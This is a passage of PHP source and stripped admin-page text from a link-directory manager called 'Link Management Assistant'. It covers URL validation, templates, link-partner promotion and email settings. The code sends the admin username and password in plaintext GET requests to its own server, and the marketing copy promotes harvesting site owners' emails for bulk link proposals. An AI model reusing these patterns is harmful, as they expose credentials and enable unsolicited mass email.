$urlfp = fopen($url, "r"); if (!$urlfp) { $failedurls[$fi++] = $urlid."|".$url."|".($attempt+1); } else fclose($urlfp); } } else { $newmc .= $ct; } } } if ($newmc || count($failedurls) > 0) { $fp = fopen("urlvalidation.txt", "w"); if($newmc) { fputs($fp, $newmc); } for($i = 0; $i < count($failedurls); $i++) { fputs($fp, $failedurls[$i]."\n"); } fclose($fp); if(count($deadurls) > 0) { $fp = fopen("deadurllist.txt", "a"); for($i = 0; $i < count($deadurls); $i++) { fputs($fp, $deadurls[$i]."\n"); } fclose($fp); } $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?user=$user&pass=$pass&action=urlvalidationrecheck HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } else { if(file_exists("urlvalidation.txt")) unlink("urlvalidation.txt"); if(count($deadurls) > 0) { $fp = fopen("deadurllist.txt", "a"); for($i = 0; $i < count($deadurls); $i++) { fputs($fp, $deadurls[$i]."\n"); } fclose($fp); } $emtpl = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'urlvalidation'")); $subject = $emtpl->subject; $body = $emtpl->body; $adminurl = "http://".$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"]; $body = str_replace("{ADMIN-LINK}", $adminurl, $body); mail($adminemail, $subject, $body, "From: $fromname <$adminemail>"); $pol = mysql_query("delete from lma_custom where id = 'urlvalidationid'"); } } elseif ($action == "urlvalidationrestart") { if($ctype == "G") { $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?action=urlvalidationgo&user=$user&pass=$pass&startid=$startid HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } else { $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?user=$user&pass=$pass&action=urlvalidationrecheck HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } message("URL Validation in progress...", "LMA is now restarting the unfinished URL Validation. You will receive an e-mail when this process is complete"); } elseif ($action == "urlvalidationcancel") { $pol = mysql_query("delete from lma_custom where id = 'urlvalidationid'"); message("URL Validation Cancelled...", "LMA has cancelled the URL Validation process."); } elseif ($action == "templates") { ?>

Main Admin

Customize Directory Templates

The Link Management Assistant contains a complete set of customizable templates allowing you to seamlessly integrate your niche website directory of link partners into your website. However, the default templates that accompany this script are very rudimentary and are really only included as examples as to what you can do (or your website designer) with your directory design and layout. If you're not familiar with editing HTML templates please refer to the user manual for more information and/or visit the support forums for guidance from other users.

Template Includes


Main Index


This template generates the main index page that displays the major categories in your directory.


Category Index Pages


This template generates all of the major category pages in your website.


Subcategory Index Pages


This template generates all of the sub-category pages in your website. It can be identical to the main category index page template for consistency across the directory, however has been included here incase you would like to alter it slightly.


Add Website Page


This is the page where other webmasters can submit their listings into your niche website directory.


Search Results Page


This template generates the search results page displayed when a visitor uses the search feature of the directory, assuming you are including that search box include in your templates.

NOTE: Be sure you've specified your thank you page (the page where users are redirected to after submitting a website to your directory) in the general settings area.

Main Admin

Find More Link Partners

This section contains some very powerful resources that will help you find more strategic link partners for your directory to improve your link popularity & search engine positions. Remember that finding link partners is just a numbers game. The more targeted webmasters you contact, the more partners you're going to secure. It requires continual effort and commitment and your initial target should be to find at least two hundred, if not five hundred link partners...


Digital Point Advertising Co-Operative

I have seen excellent results participating in the free Digital Point Advertising Co-Operative. Both in terms of the dramatically improved search engine rankings and the traffic it generates directly. Essentially you place between 1-5 other members text links throughout the pages on your website, and in exchange your own text link is displayed on other members websites. The amount of exposure you receive on the network is determined by the number of other members ads you decide to display on your own website, and the number of pages your website has indexed in Google.

At the time of this writing, there are currently over 4,000 unique websites / domains participating in the co-op, giving you the potential to generate a lot of unique incoming backlinks to help boost your search engine rankings. I currently have this operating on approximately half of my own websites and at the time of this writing would recommend it as a great way to automatically increase your link popularity. The co-op is also Link Management Assistant compatible.

Visit this link to JOIN THE CO-OP NOW


Affiliate Finder Professional

Affiliate Finder Pro totally automates the process of finding new strategic link partners for your niche website directory. It will search several of the most popular search engines based on the keyword terms you specify, and then automatically find the contact information (name, email address etc) of those website owners who already have excellent search engine exposure, making them ideal strategic linking partners.

You can then use the application to send your personalized link exchange proposals directly to those contacts, or import the information into your own mailing list management software to make the process even more efficient. If you're looking to secure hundreds of strategic link partners & increase your search engine rankings extremely fast you can't afford NOT to own a copy of Affiliate Finder Pro.

I highly recommend it & use it weekly. DOWNLOAD IT NOW


Duncan Carver's Text Link Advertising Packages

If you cannot wait to increase your websites link popularity & would prefer to purchase text link advertising on one of several independent networks of websites I personally control you might like to check to see what I have available. Often when I have have more inventory available than I personally use, I will make a few text link advertising packages available to selected clients.

Given the scarcity of the inventory however, it's proven performance in increasing search engine rankings, and high client retention rates, it is not often that I have any available. To check to see if I have anything available at the moment and current rates visit the link below. 

Check current availability here. TEXT LINK ADVERTISING

Main Admin

Email Management

This section allows you to customize the emails that are sent out via the Link Management Assistant, both administrative emails, and those delivered to link partners when certain actions occur. You can also send a personalized broadcast email to all link partners or specific groups of partners.

Personalization Fields


Email Link Partners


To email your link partners or specific groups of link partners, simply fill out the respective fields below and click the "Email Now" button. The email will be sent from the address you've specified in the "General Settings" area of the Link Management Assistant.
Subject:
Message Body:
Who? 
Work mode 


Customize System Emails


The following group of customizable emails are sent when specific actions occur during the day to day operations of running the Link Management Assistant. To edit the emails, simply make the respective changes and click the "Update Emails" button towards the bottom of the page. You can edit all emails at once, all changes will be saved when you click the update button.
 

Email Confirmation Message (Sent To Listing Submitter)

Sent to all new directory submissions only if you have "email confirmation required" turn on. If turned on, people must confirm their email address before their listing either goes live in the directory, or is placed into your awaiting approval que.


Subject: ">
Message Body:

Submission Received Email (Sent To Listing Submitter)

This is the email sent to all new directory submissions. If admin approval is not required, this e-mail will let them know that their site is now listed on your directory.


Subject: ">
Message Body:

Listing Approval Email (Sent To Listing Submitter)

This is the email sent to all new directory submissions when their listing is approved (only if you have "require admin approval" turn on for new submissions).


Subject: ">
Message Body:

Listing Declined Email (Sent To Listing Submitter)

This is the email sent to all new directory submissions if you chose to decline their listing for whatever reason (only if you have "require admin approval" turn on for new submissions).


Subject: ">
Message Body: